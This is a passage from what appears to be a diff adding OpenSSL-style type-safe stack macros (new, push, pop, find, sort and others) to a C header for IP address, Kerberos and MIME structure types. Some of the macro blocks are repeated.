SKM_sk_set(IPAddressFamily, (st), (i), (val)) +#define sk_IPAddressFamily_zero(st) SKM_sk_zero(IPAddressFamily, (st)) +#define sk_IPAddressFamily_push(st, val) SKM_sk_push(IPAddressFamily, (st), (val)) +#define sk_IPAddressFamily_unshift(st, val) SKM_sk_unshift(IPAddressFamily, (st), (val)) +#define sk_IPAddressFamily_find(st, val) SKM_sk_find(IPAddressFamily, (st), (val)) +#define sk_IPAddressFamily_find_ex(st, val) SKM_sk_find_ex(IPAddressFamily, (st), (val)) +#define sk_IPAddressFamily_delete(st, i) SKM_sk_delete(IPAddressFamily, (st), (i)) +#define sk_IPAddressFamily_delete_ptr(st, ptr) SKM_sk_delete_ptr(IPAddressFamily, (st), (ptr)) +#define sk_IPAddressFamily_insert(st, val, i) SKM_sk_insert(IPAddressFamily, (st), (val), (i)) +#define sk_IPAddressFamily_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(IPAddressFamily, (st), (cmp)) +#define sk_IPAddressFamily_dup(st) SKM_sk_dup(IPAddressFamily, st) +#define sk_IPAddressFamily_pop_free(st, free_func) SKM_sk_pop_free(IPAddressFamily, (st), (free_func)) +#define sk_IPAddressFamily_shift(st) SKM_sk_shift(IPAddressFamily, (st)) +#define sk_IPAddressFamily_pop(st) SKM_sk_pop(IPAddressFamily, (st)) +#define sk_IPAddressFamily_sort(st) SKM_sk_sort(IPAddressFamily, (st)) +#define sk_IPAddressFamily_is_sorted(st) SKM_sk_is_sorted(IPAddressFamily, (st)) + +#define sk_IPAddressOrRange_new(st) SKM_sk_new(IPAddressOrRange, (st)) +#define sk_IPAddressOrRange_new_null() SKM_sk_new_null(IPAddressOrRange) +#define sk_IPAddressOrRange_free(st) SKM_sk_free(IPAddressOrRange, (st)) +#define sk_IPAddressOrRange_num(st) SKM_sk_num(IPAddressOrRange, (st)) +#define sk_IPAddressOrRange_value(st, i) SKM_sk_value(IPAddressOrRange, (st), (i)) +#define sk_IPAddressOrRange_set(st, i, val) SKM_sk_set(IPAddressOrRange, (st), (i), (val)) +#define sk_IPAddressOrRange_zero(st) SKM_sk_zero(IPAddressOrRange, (st)) +#define sk_IPAddressOrRange_push(st, val) SKM_sk_push(IPAddressOrRange, (st), (val)) +#define sk_IPAddressOrRange_unshift(st, val) SKM_sk_unshift(IPAddressOrRange, (st), (val)) +#define sk_IPAddressOrRange_find(st, val) SKM_sk_find(IPAddressOrRange, (st), (val)) +#define sk_IPAddressOrRange_find_ex(st, val) SKM_sk_find_ex(IPAddressOrRange, (st), (val)) +#define sk_IPAddressOrRange_delete(st, i) SKM_sk_delete(IPAddressOrRange, (st), (i)) +#define sk_IPAddressOrRange_delete_ptr(st, ptr) SKM_sk_delete_ptr(IPAddressOrRange, (st), (ptr)) +#define sk_IPAddressOrRange_insert(st, val, i) SKM_sk_insert(IPAddressOrRange, (st), (val), (i)) +#define sk_IPAddressOrRange_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(IPAddressOrRange, (st), (cmp)) +#define sk_IPAddressOrRange_dup(st) SKM_sk_dup(IPAddressOrRange, st) +#define sk_IPAddressOrRange_pop_free(st, free_func) SKM_sk_pop_free(IPAddressOrRange, (st), (free_func)) +#define sk_IPAddressOrRange_shift(st) SKM_sk_shift(IPAddressOrRange, (st)) +#define sk_IPAddressOrRange_pop(st) SKM_sk_pop(IPAddressOrRange, (st)) +#define sk_IPAddressOrRange_sort(st) SKM_sk_sort(IPAddressOrRange, (st)) +#define sk_IPAddressOrRange_is_sorted(st) SKM_sk_is_sorted(IPAddressOrRange, (st)) + +#define sk_KRB5_APREQBODY_new(st) SKM_sk_new(KRB5_APREQBODY, (st)) +#define sk_KRB5_APREQBODY_new_null() SKM_sk_new_null(KRB5_APREQBODY) +#define sk_KRB5_APREQBODY_free(st) SKM_sk_free(KRB5_APREQBODY, (st)) +#define sk_KRB5_APREQBODY_num(st) SKM_sk_num(KRB5_APREQBODY, (st)) +#define sk_KRB5_APREQBODY_value(st, i) SKM_sk_value(KRB5_APREQBODY, (st), (i)) +#define sk_KRB5_APREQBODY_set(st, i, val) SKM_sk_set(KRB5_APREQBODY, (st), (i), (val)) +#define sk_KRB5_APREQBODY_zero(st) SKM_sk_zero(KRB5_APREQBODY, (st)) +#define sk_KRB5_APREQBODY_push(st, val) SKM_sk_push(KRB5_APREQBODY, (st), (val)) +#define sk_KRB5_APREQBODY_unshift(st, val) SKM_sk_unshift(KRB5_APREQBODY, (st), (val)) +#define sk_KRB5_APREQBODY_find(st, val) SKM_sk_find(KRB5_APREQBODY, (st), (val)) +#define sk_KRB5_APREQBODY_find_ex(st, val) SKM_sk_find_ex(KRB5_APREQBODY, (st), (val)) +#define sk_KRB5_APREQBODY_delete(st, i) SKM_sk_delete(KRB5_APREQBODY, (st), (i)) +#define sk_KRB5_APREQBODY_delete_ptr(st, ptr) SKM_sk_delete_ptr(KRB5_APREQBODY, (st), (ptr)) +#define sk_KRB5_APREQBODY_insert(st, val, i) SKM_sk_insert(KRB5_APREQBODY, (st), (val), (i)) +#define sk_KRB5_APREQBODY_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(KRB5_APREQBODY, (st), (cmp)) +#define sk_KRB5_APREQBODY_dup(st) SKM_sk_dup(KRB5_APREQBODY, st) +#define sk_KRB5_APREQBODY_pop_free(st, free_func) SKM_sk_pop_free(KRB5_APREQBODY, (st), (free_func)) +#define sk_KRB5_APREQBODY_shift(st) SKM_sk_shift(KRB5_APREQBODY, (st)) +#define sk_KRB5_APREQBODY_pop(st) SKM_sk_pop(KRB5_APREQBODY, (st)) +#define sk_KRB5_APREQBODY_sort(st) SKM_sk_sort(KRB5_APREQBODY, (st)) +#define sk_KRB5_APREQBODY_is_sorted(st) SKM_sk_is_sorted(KRB5_APREQBODY, (st)) + +#define sk_KRB5_AUTHDATA_new(st) SKM_sk_new(KRB5_AUTHDATA, (st)) +#define sk_KRB5_AUTHDATA_new_null() SKM_sk_new_null(KRB5_AUTHDATA) +#define sk_KRB5_AUTHDATA_free(st) SKM_sk_free(KRB5_AUTHDATA, (st)) +#define sk_KRB5_AUTHDATA_num(st) SKM_sk_num(KRB5_AUTHDATA, (st)) +#define sk_KRB5_AUTHDATA_value(st, i) SKM_sk_value(KRB5_AUTHDATA, (st), (i)) +#define sk_KRB5_AUTHDATA_set(st, i, val) SKM_sk_set(KRB5_AUTHDATA, (st), (i), (val)) +#define sk_KRB5_AUTHDATA_zero(st) SKM_sk_zero(KRB5_AUTHDATA, (st)) +#define sk_KRB5_AUTHDATA_push(st, val) SKM_sk_push(KRB5_AUTHDATA, (st), (val)) +#define sk_KRB5_AUTHDATA_unshift(st, val) SKM_sk_unshift(KRB5_AUTHDATA, (st), (val)) +#define sk_KRB5_AUTHDATA_find(st, val) SKM_sk_find(KRB5_AUTHDATA, (st), (val)) +#define sk_KRB5_AUTHDATA_find_ex(st, val) SKM_sk_find_ex(KRB5_AUTHDATA, (st), (val)) +#define sk_KRB5_AUTHDATA_delete(st, i) SKM_sk_delete(KRB5_AUTHDATA, (st), (i)) +#define sk_KRB5_AUTHDATA_delete_ptr(st, ptr) SKM_sk_delete_ptr(KRB5_AUTHDATA, (st), (ptr)) +#define sk_KRB5_AUTHDATA_insert(st, val, i) SKM_sk_insert(KRB5_AUTHDATA, (st), (val), (i)) +#define sk_KRB5_AUTHDATA_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(KRB5_AUTHDATA, (st), (cmp)) +#define sk_KRB5_AUTHDATA_dup(st) SKM_sk_dup(KRB5_AUTHDATA, st) +#define sk_KRB5_AUTHDATA_pop_free(st, free_func) SKM_sk_pop_free(KRB5_AUTHDATA, (st), (free_func)) +#define sk_KRB5_AUTHDATA_shift(st) SKM_sk_shift(KRB5_AUTHDATA, (st)) +#define sk_KRB5_AUTHDATA_pop(st) SKM_sk_pop(KRB5_AUTHDATA, (st)) +#define sk_KRB5_AUTHDATA_sort(st) SKM_sk_sort(KRB5_AUTHDATA, (st)) +#define sk_KRB5_AUTHDATA_is_sorted(st) SKM_sk_is_sorted(KRB5_AUTHDATA, (st)) + +#define sk_KRB5_AUTHENTBODY_new(st) SKM_sk_new(KRB5_AUTHENTBODY, (st)) +#define sk_KRB5_AUTHENTBODY_new_null() SKM_sk_new_null(KRB5_AUTHENTBODY) +#define sk_KRB5_AUTHENTBODY_free(st) SKM_sk_free(KRB5_AUTHENTBODY, (st)) +#define sk_KRB5_AUTHENTBODY_num(st) SKM_sk_num(KRB5_AUTHENTBODY, (st)) +#define sk_KRB5_AUTHENTBODY_value(st, i) SKM_sk_value(KRB5_AUTHENTBODY, (st), (i)) +#define sk_KRB5_AUTHENTBODY_set(st, i, val) SKM_sk_set(KRB5_AUTHENTBODY, (st), (i), (val)) +#define sk_KRB5_AUTHENTBODY_zero(st) SKM_sk_zero(KRB5_AUTHENTBODY, (st)) +#define sk_KRB5_AUTHENTBODY_push(st, val) SKM_sk_push(KRB5_AUTHENTBODY, (st), (val)) +#define sk_KRB5_AUTHENTBODY_unshift(st, val) SKM_sk_unshift(KRB5_AUTHENTBODY, (st), (val)) +#define sk_KRB5_AUTHENTBODY_find(st, val) SKM_sk_find(KRB5_AUTHENTBODY, (st), (val)) +#define sk_KRB5_AUTHENTBODY_find_ex(st, val) SKM_sk_find_ex(KRB5_AUTHENTBODY, (st), (val)) +#define sk_KRB5_AUTHENTBODY_delete(st, i) SKM_sk_delete(KRB5_AUTHENTBODY, (st), (i)) +#define sk_KRB5_AUTHENTBODY_delete_ptr(st, ptr) SKM_sk_delete_ptr(KRB5_AUTHENTBODY, (st), (ptr)) +#define sk_KRB5_AUTHENTBODY_insert(st, val, i) SKM_sk_insert(KRB5_AUTHENTBODY, (st), (val), (i)) +#define sk_KRB5_AUTHENTBODY_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(KRB5_AUTHENTBODY, (st), (cmp)) +#define sk_KRB5_AUTHENTBODY_dup(st) SKM_sk_dup(KRB5_AUTHENTBODY, st) +#define sk_KRB5_AUTHENTBODY_pop_free(st, free_func) SKM_sk_pop_free(KRB5_AUTHENTBODY, (st), (free_func)) +#define sk_KRB5_AUTHENTBODY_shift(st) SKM_sk_shift(KRB5_AUTHENTBODY, (st)) +#define sk_KRB5_AUTHENTBODY_pop(st) SKM_sk_pop(KRB5_AUTHENTBODY, (st)) +#define sk_KRB5_AUTHENTBODY_sort(st) SKM_sk_sort(KRB5_AUTHENTBODY, (st)) +#define sk_KRB5_AUTHENTBODY_is_sorted(st) SKM_sk_is_sorted(KRB5_AUTHENTBODY, (st)) + +#define sk_KRB5_CHECKSUM_new(st) SKM_sk_new(KRB5_CHECKSUM, (st)) +#define sk_KRB5_CHECKSUM_new_null() SKM_sk_new_null(KRB5_CHECKSUM) +#define sk_KRB5_CHECKSUM_free(st) SKM_sk_free(KRB5_CHECKSUM, (st)) +#define sk_KRB5_CHECKSUM_num(st) SKM_sk_num(KRB5_CHECKSUM, (st)) +#define sk_KRB5_CHECKSUM_value(st, i) SKM_sk_value(KRB5_CHECKSUM, (st), (i)) +#define sk_KRB5_CHECKSUM_set(st, i, val) SKM_sk_set(KRB5_CHECKSUM, (st), (i), (val)) +#define sk_KRB5_CHECKSUM_zero(st) SKM_sk_zero(KRB5_CHECKSUM, (st)) +#define sk_KRB5_CHECKSUM_push(st, val) SKM_sk_push(KRB5_CHECKSUM, (st), (val)) +#define sk_KRB5_CHECKSUM_unshift(st, val) SKM_sk_unshift(KRB5_CHECKSUM, (st), (val)) +#define sk_KRB5_CHECKSUM_find(st, val) SKM_sk_find(KRB5_CHECKSUM, (st), (val)) +#define sk_KRB5_CHECKSUM_find_ex(st, val) SKM_sk_find_ex(KRB5_CHECKSUM, (st), (val)) +#define sk_KRB5_CHECKSUM_delete(st, i) SKM_sk_delete(KRB5_CHECKSUM, (st), (i)) +#define sk_KRB5_CHECKSUM_delete_ptr(st, ptr) SKM_sk_delete_ptr(KRB5_CHECKSUM, (st), (ptr)) +#define sk_KRB5_CHECKSUM_insert(st, val, i) SKM_sk_insert(KRB5_CHECKSUM, (st), (val), (i)) +#define sk_KRB5_CHECKSUM_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(KRB5_CHECKSUM, (st), (cmp)) +#define sk_KRB5_CHECKSUM_dup(st) SKM_sk_dup(KRB5_CHECKSUM, st) +#define sk_KRB5_CHECKSUM_pop_free(st, free_func) SKM_sk_pop_free(KRB5_CHECKSUM, (st), (free_func)) +#define sk_KRB5_CHECKSUM_shift(st) SKM_sk_shift(KRB5_CHECKSUM, (st)) +#define sk_KRB5_CHECKSUM_pop(st) SKM_sk_pop(KRB5_CHECKSUM, (st)) +#define sk_KRB5_CHECKSUM_sort(st) SKM_sk_sort(KRB5_CHECKSUM, (st)) +#define sk_KRB5_CHECKSUM_is_sorted(st) SKM_sk_is_sorted(KRB5_CHECKSUM, (st)) + +#define sk_KRB5_ENCDATA_new(st) SKM_sk_new(KRB5_ENCDATA, (st)) +#define sk_KRB5_ENCDATA_new_null() SKM_sk_new_null(KRB5_ENCDATA) +#define sk_KRB5_ENCDATA_free(st) SKM_sk_free(KRB5_ENCDATA, (st)) +#define sk_KRB5_ENCDATA_num(st) SKM_sk_num(KRB5_ENCDATA, (st)) +#define sk_KRB5_ENCDATA_value(st, i) SKM_sk_value(KRB5_ENCDATA, (st), (i)) +#define sk_KRB5_ENCDATA_set(st, i, val) SKM_sk_set(KRB5_ENCDATA, (st), (i), (val)) +#define sk_KRB5_ENCDATA_zero(st) SKM_sk_zero(KRB5_ENCDATA, (st)) +#define sk_KRB5_ENCDATA_push(st, val) SKM_sk_push(KRB5_ENCDATA, (st), (val)) +#define sk_KRB5_ENCDATA_unshift(st, val) SKM_sk_unshift(KRB5_ENCDATA, (st), (val)) +#define sk_KRB5_ENCDATA_find(st, val) SKM_sk_find(KRB5_ENCDATA, (st), (val)) +#define sk_KRB5_ENCDATA_find_ex(st, val) SKM_sk_find_ex(KRB5_ENCDATA, (st), (val)) +#define sk_KRB5_ENCDATA_delete(st, i) SKM_sk_delete(KRB5_ENCDATA, (st), (i)) +#define sk_KRB5_ENCDATA_delete_ptr(st, ptr) SKM_sk_delete_ptr(KRB5_ENCDATA, (st), (ptr)) +#define sk_KRB5_ENCDATA_insert(st, val, i) SKM_sk_insert(KRB5_ENCDATA, (st), (val), (i)) +#define sk_KRB5_ENCDATA_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(KRB5_ENCDATA, (st), (cmp)) +#define sk_KRB5_ENCDATA_dup(st) SKM_sk_dup(KRB5_ENCDATA, st) +#define sk_KRB5_ENCDATA_pop_free(st, free_func) SKM_sk_pop_free(KRB5_ENCDATA, (st), (free_func)) +#define sk_KRB5_ENCDATA_shift(st) SKM_sk_shift(KRB5_ENCDATA, (st)) +#define sk_KRB5_ENCDATA_pop(st) SKM_sk_pop(KRB5_ENCDATA, (st)) +#define sk_KRB5_ENCDATA_sort(st) SKM_sk_sort(KRB5_ENCDATA, (st)) +#define sk_KRB5_ENCDATA_is_sorted(st) SKM_sk_is_sorted(KRB5_ENCDATA, (st)) + +#define sk_KRB5_ENCKEY_new(st) SKM_sk_new(KRB5_ENCKEY, (st)) +#define sk_KRB5_ENCKEY_new_null() SKM_sk_new_null(KRB5_ENCKEY) +#define sk_KRB5_ENCKEY_free(st) SKM_sk_free(KRB5_ENCKEY, (st)) +#define sk_KRB5_ENCKEY_num(st) SKM_sk_num(KRB5_ENCKEY, (st)) +#define sk_KRB5_ENCKEY_value(st, i) SKM_sk_value(KRB5_ENCKEY, (st), (i)) +#define sk_KRB5_ENCKEY_set(st, i, val) SKM_sk_set(KRB5_ENCKEY, (st), (i), (val)) +#define sk_KRB5_ENCKEY_zero(st) SKM_sk_zero(KRB5_ENCKEY, (st)) +#define sk_KRB5_ENCKEY_push(st, val) SKM_sk_push(KRB5_ENCKEY, (st), (val)) +#define sk_KRB5_ENCKEY_unshift(st, val) SKM_sk_unshift(KRB5_ENCKEY, (st), (val)) +#define sk_KRB5_ENCKEY_find(st, val) SKM_sk_find(KRB5_ENCKEY, (st), (val)) +#define sk_KRB5_ENCKEY_find_ex(st, val) SKM_sk_find_ex(KRB5_ENCKEY, (st), (val)) +#define sk_KRB5_ENCKEY_delete(st, i) SKM_sk_delete(KRB5_ENCKEY, (st), (i)) +#define sk_KRB5_ENCKEY_delete_ptr(st, ptr) SKM_sk_delete_ptr(KRB5_ENCKEY, (st), (ptr)) +#define sk_KRB5_ENCKEY_insert(st, val, i) SKM_sk_insert(KRB5_ENCKEY, (st), (val), (i)) +#define sk_KRB5_ENCKEY_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(KRB5_ENCKEY, (st), (cmp)) +#define sk_KRB5_ENCKEY_dup(st) SKM_sk_dup(KRB5_ENCKEY, st) +#define sk_KRB5_ENCKEY_pop_free(st, free_func) SKM_sk_pop_free(KRB5_ENCKEY, (st), (free_func)) +#define sk_KRB5_ENCKEY_shift(st) SKM_sk_shift(KRB5_ENCKEY, (st)) +#define sk_KRB5_ENCKEY_pop(st) SKM_sk_pop(KRB5_ENCKEY, (st)) +#define sk_KRB5_ENCKEY_sort(st) SKM_sk_sort(KRB5_ENCKEY, (st)) +#define sk_KRB5_ENCKEY_is_sorted(st) SKM_sk_is_sorted(KRB5_ENCKEY, (st)) + +#define sk_KRB5_PRINCNAME_new(st) SKM_sk_new(KRB5_PRINCNAME, (st)) +#define sk_KRB5_PRINCNAME_new_null() SKM_sk_new_null(KRB5_PRINCNAME) +#define sk_KRB5_PRINCNAME_free(st) SKM_sk_free(KRB5_PRINCNAME, (st)) +#define sk_KRB5_PRINCNAME_num(st) SKM_sk_num(KRB5_PRINCNAME, (st)) +#define sk_KRB5_PRINCNAME_value(st, i) SKM_sk_value(KRB5_PRINCNAME, (st), (i)) +#define sk_KRB5_PRINCNAME_set(st, i, val) SKM_sk_set(KRB5_PRINCNAME, (st), (i), (val)) +#define sk_KRB5_PRINCNAME_zero(st) SKM_sk_zero(KRB5_PRINCNAME, (st)) +#define sk_KRB5_PRINCNAME_push(st, val) SKM_sk_push(KRB5_PRINCNAME, (st), (val)) +#define sk_KRB5_PRINCNAME_unshift(st, val) SKM_sk_unshift(KRB5_PRINCNAME, (st), (val)) +#define sk_KRB5_PRINCNAME_find(st, val) SKM_sk_find(KRB5_PRINCNAME, (st), (val)) +#define sk_KRB5_PRINCNAME_find_ex(st, val) SKM_sk_find_ex(KRB5_PRINCNAME, (st), (val)) +#define sk_KRB5_PRINCNAME_delete(st, i) SKM_sk_delete(KRB5_PRINCNAME, (st), (i)) +#define sk_KRB5_PRINCNAME_delete_ptr(st, ptr) SKM_sk_delete_ptr(KRB5_PRINCNAME, (st), (ptr)) +#define sk_KRB5_PRINCNAME_insert(st, val, i) SKM_sk_insert(KRB5_PRINCNAME, (st), (val), (i)) +#define sk_KRB5_PRINCNAME_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(KRB5_PRINCNAME, (st), (cmp)) +#define sk_KRB5_PRINCNAME_dup(st) SKM_sk_dup(KRB5_PRINCNAME, st) +#define sk_KRB5_PRINCNAME_pop_free(st, free_func) SKM_sk_pop_free(KRB5_PRINCNAME, (st), (free_func)) +#define sk_KRB5_PRINCNAME_shift(st) SKM_sk_shift(KRB5_PRINCNAME, (st)) +#define sk_KRB5_PRINCNAME_pop(st) SKM_sk_pop(KRB5_PRINCNAME, (st)) +#define sk_KRB5_PRINCNAME_sort(st) SKM_sk_sort(KRB5_PRINCNAME, (st)) +#define sk_KRB5_PRINCNAME_is_sorted(st) SKM_sk_is_sorted(KRB5_PRINCNAME, (st)) + +#define sk_KRB5_TKTBODY_new(st) SKM_sk_new(KRB5_TKTBODY, (st)) +#define sk_KRB5_TKTBODY_new_null() SKM_sk_new_null(KRB5_TKTBODY) +#define sk_KRB5_TKTBODY_free(st) SKM_sk_free(KRB5_TKTBODY, (st)) +#define sk_KRB5_TKTBODY_num(st) SKM_sk_num(KRB5_TKTBODY, (st)) +#define sk_KRB5_TKTBODY_value(st, i) SKM_sk_value(KRB5_TKTBODY, (st), (i)) +#define sk_KRB5_TKTBODY_set(st, i, val) SKM_sk_set(KRB5_TKTBODY, (st), (i), (val)) +#define sk_KRB5_TKTBODY_zero(st) SKM_sk_zero(KRB5_TKTBODY, (st)) +#define sk_KRB5_TKTBODY_push(st, val) SKM_sk_push(KRB5_TKTBODY, (st), (val)) +#define sk_KRB5_TKTBODY_unshift(st, val) SKM_sk_unshift(KRB5_TKTBODY, (st), (val)) +#define sk_KRB5_TKTBODY_find(st, val) SKM_sk_find(KRB5_TKTBODY, (st), (val)) +#define sk_KRB5_TKTBODY_find_ex(st, val) SKM_sk_find_ex(KRB5_TKTBODY, (st), (val)) +#define sk_KRB5_TKTBODY_delete(st, i) SKM_sk_delete(KRB5_TKTBODY, (st), (i)) +#define sk_KRB5_TKTBODY_delete_ptr(st, ptr) SKM_sk_delete_ptr(KRB5_TKTBODY, (st), (ptr)) +#define sk_KRB5_TKTBODY_insert(st, val, i) SKM_sk_insert(KRB5_TKTBODY, (st), (val), (i)) +#define sk_KRB5_TKTBODY_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(KRB5_TKTBODY, (st), (cmp)) +#define sk_KRB5_TKTBODY_dup(st) SKM_sk_dup(KRB5_TKTBODY, st) +#define sk_KRB5_TKTBODY_pop_free(st, free_func) SKM_sk_pop_free(KRB5_TKTBODY, (st), (free_func)) +#define sk_KRB5_TKTBODY_shift(st) SKM_sk_shift(KRB5_TKTBODY, (st)) +#define sk_KRB5_TKTBODY_pop(st) SKM_sk_pop(KRB5_TKTBODY, (st)) +#define sk_KRB5_TKTBODY_sort(st) SKM_sk_sort(KRB5_TKTBODY, (st)) +#define sk_KRB5_TKTBODY_is_sorted(st) SKM_sk_is_sorted(KRB5_TKTBODY, (st)) + +#define sk_MIME_HEADER_new(st) SKM_sk_new(MIME_HEADER, (st)) +#define sk_MIME_HEADER_new_null() SKM_sk_new_null(MIME_HEADER) +#define sk_MIME_HEADER_free(st) SKM_sk_free(MIME_HEADER, (st)) +#define sk_MIME_HEADER_num(st) SKM_sk_num(MIME_HEADER, (st)) +#define sk_MIME_HEADER_value(st, i) SKM_sk_value(MIME_HEADER, (st), (i)) +#define sk_MIME_HEADER_set(st, i, val) SKM_sk_set(MIME_HEADER, (st), (i), (val)) +#define sk_MIME_HEADER_zero(st) SKM_sk_zero(MIME_HEADER, (st)) +#define sk_MIME_HEADER_push(st, val) SKM_sk_push(MIME_HEADER, (st), (val)) +#define sk_MIME_HEADER_unshift(st, val) SKM_sk_unshift(MIME_HEADER, (st), (val)) +#define sk_MIME_HEADER_find(st, val) SKM_sk_find(MIME_HEADER, (st), (val)) +#define sk_MIME_HEADER_find_ex(st, val) SKM_sk_find_ex(MIME_HEADER, (st), (val)) +#define sk_MIME_HEADER_delete(st, i) SKM_sk_delete(MIME_HEADER, (st), (i)) +#define sk_MIME_HEADER_delete_ptr(st, ptr) SKM_sk_delete_ptr(MIME_HEADER, (st), (ptr)) +#define sk_MIME_HEADER_insert(st, val, i) SKM_sk_insert(MIME_HEADER, (st), (val), (i)) +#define sk_MIME_HEADER_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(MIME_HEADER, (st), (cmp)) +#define sk_MIME_HEADER_dup(st) SKM_sk_dup(MIME_HEADER, st) +#define sk_MIME_HEADER_pop_free(st, free_func) SKM_sk_pop_free(MIME_HEADER, (st), (free_func)) +#define sk_MIME_HEADER_shift(st) SKM_sk_shift(MIME_HEADER, (st)) +#define sk_MIME_HEADER_pop(st) SKM_sk_pop(MIME_HEADER, (st)) +#define sk_MIME_HEADER_sort(st) SKM_sk_sort(MIME_HEADER, (st)) +#define sk_MIME_HEADER_is_sorted(st) SKM_sk_is_sorted(MIME_HEADER, (st)) + +#define sk_MIME_HEADER_new(st) SKM_sk_new(MIME_HEADER, (st)) +#define sk_MIME_HEADER_new_null() SKM_sk_new_null(MIME_HEADER) +#define sk_MIME_HEADER_free(st) SKM_sk_free(MIME_HEADER, (st)) +#define sk_MIME_HEADER_num(st) SKM_sk_num(MIME_HEADER, (st)) +#define sk_MIME_HEADER_value(st, i) SKM_sk_value(MIME_HEADER, (st), (i)) +#define sk_MIME_HEADER_set(st, i, val) SKM_sk_set(MIME_HEADER, (st), (i), (val)) +#define sk_MIME_HEADER_zero(st) SKM_sk_zero(MIME_HEADER, (st)) +#define sk_MIME_HEADER_push(st, val) SKM_sk_push(MIME_HEADER, (st), (val)) +#define sk_MIME_HEADER_unshift(st, val) SKM_sk_unshift(MIME_HEADER, (st), (val)) +#define sk_MIME_HEADER_find(st, val) SKM_sk_find(MIME_HEADER, (st), (val)) +#define sk_MIME_HEADER_find_ex(st, val) SKM_sk_find_ex(MIME_HEADER, (st), (val)) +#define sk_MIME_HEADER_delete(st, i) SKM_sk_delete(MIME_HEADER, (st), (i)) +#define sk_MIME_HEADER_delete_ptr(st, ptr) SKM_sk_delete_ptr(MIME_HEADER, (st), (ptr)) +#define sk_MIME_HEADER_insert(st, val, i) SKM_sk_insert(MIME_HEADER, (st), (val), (i)) +#define sk_MIME_HEADER_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(MIME_HEADER, (st), (cmp)) +#define sk_MIME_HEADER_dup(st) SKM_sk_dup(MIME_HEADER, st) +#define sk_MIME_HEADER_pop_free(st, free_func) SKM_sk_pop_free(MIME_HEADER, (st), (free_func)) +#define sk_MIME_HEADER_shift(st) SKM_sk_shift(MIME_HEADER, (st)) +#define sk_MIME_HEADER_pop(st) SKM_sk_pop(MIME_HEADER, (st)) +#define sk_MIME_HEADER_sort(st) SKM_sk_sort(MIME_HEADER, (st)) +#define sk_MIME_HEADER_is_sorted(st) SKM_sk_is_sorted(MIME_HEADER, (st)) + +#define sk_MIME_PARAM_new(st) SKM_sk_new(MIME_PARAM, (st)) +#define sk_MIME_PARAM_new_null() SKM_sk_new_null(MIME_PARAM) +#define sk_MIME_PARAM_free(st) SKM_sk_free(MIME_PARAM, (st)) +#define sk_MIME_PARAM_num(st) SKM_sk_num(MIME_PARAM, (st)) +#define sk_MIME_PARAM_value(st, i) SKM_sk_value(MIME_PARAM, (st), (i)) +#define sk_MIME_PARAM_set(st, i, val) SKM_sk_set(MIME_PARAM, (st), (i), (val)) +#define sk_MIME_PARAM_zero(st) SKM_sk_zero(MIME_PARAM, (st)) +#define sk_MIME_PARAM_push(st, val) SKM_sk_push(MIME_PARAM, (st), (val)) +#define sk_MIME_PARAM_unshift(st, val) SKM_sk_unshift(MIME_PARAM, (st), (val)) +#define sk_MIME_PARAM_find(st, val) SKM_sk_find(MIME_PARAM, (st), (val)) +#define sk_MIME_PARAM_find_ex(st, val) SKM_sk_find_ex(MIME_PARAM, (st), (val)) +#define sk_MIME_PARAM_delete(st, i) SKM_sk_delete(MIME_PARAM, (st), (i)) +#define sk_MIME_PARAM_delete_ptr(st, ptr) SKM_sk_delete_ptr(MIME_PARAM, (st), (ptr)) +#define sk_MIME_PARAM_insert(st, val, i) SKM_sk_insert(MIME_PARAM, (st), (val), (i)) +#define sk_MIME_PARAM_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(MIME_PARAM, (st), (cmp)) +#define sk_MIME_PARAM_dup(st) SKM_sk_dup(MIME_PARAM, st) +#define sk_MIME_PARAM_pop_free(st, free_func) SKM_sk_pop_free(MIME_PARAM, (st), (free_func)) +#define sk_MIME_PARAM_shift(st) SKM_sk_shift(MIME_PARAM, (st)) +#define sk_MIME_PARAM_pop(st) SKM_sk_pop(MIME_PARAM, (st)) +#define sk_MIME_PARAM_sort(st) SKM_sk_sort(MIME_PARAM, (st)) +#define sk_MIME_PARAM_is_sorted(st) SKM_sk_is_sorted(MIME_PARAM, (st)) + +#define sk_MIME_PARAM_new(st) SKM_sk_new(MIME_PARAM, (st)) +#define sk_MIME_PARAM_new_null() SKM_sk_new_null(MIME_PARAM) +#define sk_MIME_PARAM_free(st) SKM_sk_free(MIME_PARAM, (st)) +#define sk_MIME_PARAM_num(st) SKM_sk_num(MIME_PARAM, (st)) +#define sk_MIME_PARAM_value(st, i) SKM_sk_value(MIME_PARAM, (st), (i)) +#define sk_MIME_PARAM_set(st, i, val) SKM_sk_set(MIME_PARAM, (st), (i), (val)) +#define sk_MIME_PARAM_zero(st) SKM_sk_zero(MIME_PARAM, (st)) +#define sk_MIME_PARAM_push(st, val) SKM_sk_push(MIME_PARAM, (st), (val)) +#define sk_MIME_PARAM_unshift(st, val) SKM_sk_unshift(MIME_PARAM, (st), (val)) +#define sk_MIME_PARAM_find(st, val) SKM_sk_find(MIME_PARAM, (st), (val)) +#define sk_MIME_PARAM_find_ex(st, val) SKM_sk_find_ex(MIME_PARAM, (st), (val)) +#define sk_MIME_PARAM_delete(st, i) SKM_sk_delete(MIME_PARAM, (st), (i)) +#define sk_MIME_PARAM_delete_ptr(st, ptr) SKM_sk_delete_ptr(MIME_PARAM, (st), (ptr)) +#define sk_MIME_PARAM_insert(st, val, i) SKM_sk_insert(MIME_PARAM, (st), (val), (i)) +#define sk_MIME_PARAM_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(MIME_PARAM, (st), (cmp)) +#define sk_MIME_PARAM_dup(st) SKM_sk_dup(MIME_PARAM, st) +#define sk_MIME_PARAM_pop_free(st, free_func) SKM_sk_pop_free(MIME_PARAM, (st), (free_func)) +#define sk_MIME_PARAM_shift(st) SKM_sk_shift(MIME_PARAM, (st)) +#define sk_MIME_PARAM_pop(st) SKM_sk_pop(MIME_PARAM, (st)) +#define sk_MIME_PARAM_sort(st) SKM_sk_sort(MIME_PARAM, (st)) +#define sk_MIME_PARAM_is_sorted(st) SKM_sk_is_sorted(MIME_PARAM, 